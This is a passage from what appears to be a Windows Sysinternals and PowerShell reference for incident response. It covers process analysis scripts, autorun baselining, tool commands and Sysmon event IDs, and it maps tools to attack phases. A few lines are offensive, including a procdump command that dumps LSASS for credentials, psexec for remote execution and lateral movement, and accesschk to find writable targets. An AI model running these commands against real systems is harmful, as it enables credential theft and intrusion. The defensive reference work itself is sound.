    $cmdLine = (Get-WmiObject Win32_Process -Filter "ProcessId=$ProcessId").CommandLine
    Write-Host "Command Line: $cmdLine"

    # Get parent process
    $parentId = (Get-WmiObject Win32_Process -Filter "ProcessId=$ProcessId").ParentProcessId
    $parent = Get-Process -Id $parentId -ErrorAction SilentlyContinue
    Write-Host "Parent: $($parent.ProcessName) ($parentId)"

    # Get loaded DLLs
    Write-Host "`n=== Loaded DLLs ===" -ForegroundColor Cyan
    $process.Modules | Select-Object Name, FileName | Format-Table

    # Get network connections
    Write-Host "`n=== Network Connections ===" -ForegroundColor Cyan
    Get-NetTCPConnection -OwningProcess $ProcessId -ErrorAction SilentlyContinue | 
        Select-Object LocalPort, RemoteAddress, RemotePort, State | Format-Table

    # Get open files/handles
    Write-Host "`n=== Open Handles ===" -ForegroundColor Cyan
    & "C:\Sysinternals\handle.exe" -accepteula -p $process.ProcessName | 
        Select-Object -First 20
}

# Usage
Analyze-Process -ProcessId 1234

# Create system baseline for anomaly detection

function New-SystemBaseline {
    param([string]$OutputPath = "C:\baseline")

    New-Item -ItemType Directory -Path $OutputPath -Force | Out-Null

    # Baseline autoruns
    & "C:\Sysinternals\autorunsc.exe" -accepteula -a * -c | 
        ConvertFrom-Csv | 
        Export-Clixml "$OutputPath\autoruns.xml"

    # Baseline processes
    Get-Process | Export-Clixml "$OutputPath\processes.xml"

    # Baseline services
    Get-Service | Export-Clixml "$OutputPath\services.xml"

    # Baseline network
    Get-NetTCPConnection | Export-Clixml "$OutputPath\network.xml"

    Write-Host "Baseline created: $OutputPath"
}

# Later: Compare baseline to current state
function Compare-SystemBaseline {
    param([string]$BaselinePath = "C:\baseline")

    # Load baseline
    $baselineAutoruns = Import-Clixml "$BaselinePath\autoruns.xml"

    # Get current
    $currentAutoruns = & "C:\Sysinternals\autorunsc.exe" -accepteula -a * -c | ConvertFrom-Csv

    # Compare
    $diff = Compare-Object -ReferenceObject $baselineAutoruns -DifferenceObject $currentAutoruns

    $diff | Where-Object { $_.SideIndicator -eq "=>" } | 
        ForEach-Object {
            Write-Host "NEW AUTORUN: $($_.ImagePath)" -ForegroundColor Red
        }
}

# PROCESS ANALYSIS
procexp.exe                              # Launch Process Explorer GUI
pslist.exe                               # List processes CLI
pstree.exe                               # Show process tree
Get-Process | Select-Object Name, Id    # PowerShell equivalent

# PROCESS CONTROL
psexec.exe \\computer cmd.exe            # Remote execution
pskill.exe processname                   # Kill process
pssuspend.exe PID                        # Suspend process
pssuspend.exe -r PID                     # Resume process

# MONITORING
Sysmon -i -n                             # Install Sysmon
Sysmon -c config.xml                     # Update Sysmon config
procmon.exe /BackingFile trace.pml       # Process Monitor recording
DebugView.exe                            # Debug output viewer

# PERSISTENCE ANALYSIS
autoruns.exe                             # GUI autoruns viewer
autorunsc.exe -a * -c                    # CLI autoruns export
AccessChk.exe -krs HKLM\SOFTWARE -w      # Find writable registry

# NETWORK ANALYSIS
TCPView.exe                              # Connection viewer GUI
Get-NetTCPConnection                     # PowerShell connections
netstat -anob                            # Network statistics

# FILE/REGISTRY
RegJump.exe HKLM\path                    # Jump to registry key
Handle.exe explorer.exe                  # List process handles
ListDLLs.exe explorer.exe                # List loaded DLLs

# MEMORY & FORENSICS
procdump.exe -ma process.exe dump.dmp    # Dump process memory
procdump.exe -ma lsass.exe               # Dump LSASS (credentials!)
DebugView.exe                            # Trace viewer

# PRIVILEGES
whoami /all                              # Show current user/privileges
whoami /priv                             # Show privileges only
GetSID.exe username                      # Get user SID

# UTILITY
Strings.exe file.exe                     # Extract ASCII strings
Sigcheck.exe -s C:\                      # Check digital signatures
Contig.exe -s C:\bigfile.iso             # Defragment file
WinObj.exe                               # Object namespace viewer

FILE PERMISSIONS:
  F (Full Control)       - Read, write, execute, modify
  M (Modify)             - Read, write, delete
  W (Write)              - Write to file
  R (Read)               - Read only
  RX (Read & Execute)    - Read and execute
  X (Execute)            - Execute only

REGISTRY PERMISSIONS:
  F (Full Control)       - All access
  S (Set Value)          - Modify values
  W (Write)              - Create subkeys
  R (Read)               - Read keys/values
  A (Append)             - Create subkeys
  Q (Query)              - Read values

RED TEAM TARGETS:
  accesschk.exe -d C:\ -w -s          # Find writable directories
  accesschk.exe -krs HKLM -w          # Find writable registry
  accesschk.exe -c service_name       # Check service permissions

Event 1  - ProcessCreate             # Process spawned
Event 3  - NetworkConnect            # Outbound connection
Event 7  - ImageLoad                 # DLL loaded
Event 8  - CreateRemoteThread        # Injection attempt!
Event 10 - ProcessAccess             # Inter-process access
Event 11 - FileCreate                # File created
Event 12 - RegistryCreate            # Registry key created
Event 13 - RegistrySet               # Registry value changed
Event 22 - DNSQuery                  # DNS lookup
Event 26 - ClipboardChange           # Clipboard accessed
Event 27 - ProcessTampering          # Process modified (!!!!)

RECONNAISSANCE:
  - Process Explorer (find targets)
  - Autoruns (check persistence)
  - AccessChk (find weak permissions)
  - ListDLLs (identify dependencies)

EXECUTION:
  - PsExec (lateral movement)
  - Process Monitor (understand behavior)

PRIVILEGE ESCALATION:
  - Whoami (check privileges)
  - AccessChk (find DLL hijacking)

PERSISTENCE:
  - Autoruns (monitor installations)
  - RegJump (registry modification)

CREDENTIAL ACCESS:
  - Procdump (extract LSASS)
  - Handle (find open credentials)

DEFENSE EVASION:
  - Process Monitor (understand detection)
  - Sysmon (know what's logged)
  - TCPView (monitor connections)